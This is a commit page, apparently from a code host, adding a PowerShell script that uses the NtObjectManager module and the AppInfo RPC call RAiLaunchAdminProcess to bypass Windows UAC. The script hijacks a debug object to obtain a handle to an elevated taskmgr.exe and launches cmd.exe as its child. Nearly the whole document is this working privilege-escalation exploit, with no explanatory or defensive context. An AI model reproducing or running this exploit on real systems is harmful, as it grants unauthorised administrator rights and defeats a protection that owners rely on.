Add {filename}
This commit is contained in:
@@ -0,0 +1,46 @@
|
|||||||
|
# Install the NtObjectManager module from the PowerShell gallery for the current user
|
||||||
|
Install-Module "NtObjectManager" -Scope CurrentUser
|
||||||
|
|
||||||
|
$rpc = Get-RpcServer "c:\windows\system32\appinfo.dll" | Select-RpcServer -InterfaceId "201ef99a-7fa0-444c-9399-19ba84f12a1a"
|
||||||
|
$xmlString = Get.Content .\names.xml -Raw
|
||||||
|
Set-RpcServerName $rpc
|
||||||
|
$client = Get-RpcClient $rpc
|
||||||
|
Connect-RpcClient $client
|
||||||
|
|
||||||
|
#RAiLaunchAdminProcess
|
||||||
|
function Start-Uac {
|
||||||
|
Param(
|
||||||
|
[Parameter(Mandatory, Position = 0)]
|
||||||
|
[string]$Executable,
|
||||||
|
[switch]$RunAsAdmin
|
||||||
|
)
|
||||||
|
|
||||||
|
$CreateFlags = [NtApiDotNet.Win32.CreateProcessFlags]::DebugProcess -bor `
|
||||||
|
[NtApiDotNet.Win32.CreateProcessFlags]::UnicodeEnvironment
|
||||||
|
$StartInfo = $client.New.APP_STARTUP_INFO()
|
||||||
|
|
||||||
|
$result = $client.RAiLaunchAdminProcess($Executable, $Executable,`
|
||||||
|
[int]$RunAsAdmin.IsPresent, [int]$CreateFlags,`
|
||||||
|
"C:\", "WinSta0\Default", $StartInfo, 0, -1)
|
||||||
|
if ($result.retval -ne 0) {
|
||||||
|
$ex = [System.ComponentModel.Win32Exception]::new($result.retval)
|
||||||
|
throw $ex
|
||||||
|
}
|
||||||
|
|
||||||
|
$h = $result.ProcessInformation.ProcessHandle.Value
|
||||||
|
Get-NtObjectFromHandle $h -OwnsHandle
|
||||||
|
}
|
||||||
|
|
||||||
|
$p = Start-Uac "c:\windows\system32\notepad.exe"
|
||||||
|
$dbg = Get-NtDebug -Process $p
|
||||||
|
Stop-NtProcess $p
|
||||||
|
Remove-NtDebugProcess $dbg -Process $p
|
||||||
|
|
||||||
|
#Create an elevated process
|
||||||
|
$p = Start-Uac "c:\windows\system32\taskmgr.exe" -RunAsAdmin
|
||||||
|
$ev = Start-NtDebugWait -Seconds 0 -DebugObject $dbg
|
||||||
|
$h = [IntPtr]-1
|
||||||
|
$new_p = Copy-NtObject -SourceProcess $ev.Process -SourceHandle $h
|
||||||
|
Remove-NtDebugProcess $dbg -Process $new_p
|
||||||
|
|
||||||
|
New-Win32Process "cmd.exe" -ParentProcess $new_p -CreationFlags NewConsole
|
||||||
Reference in New Issue
Block a user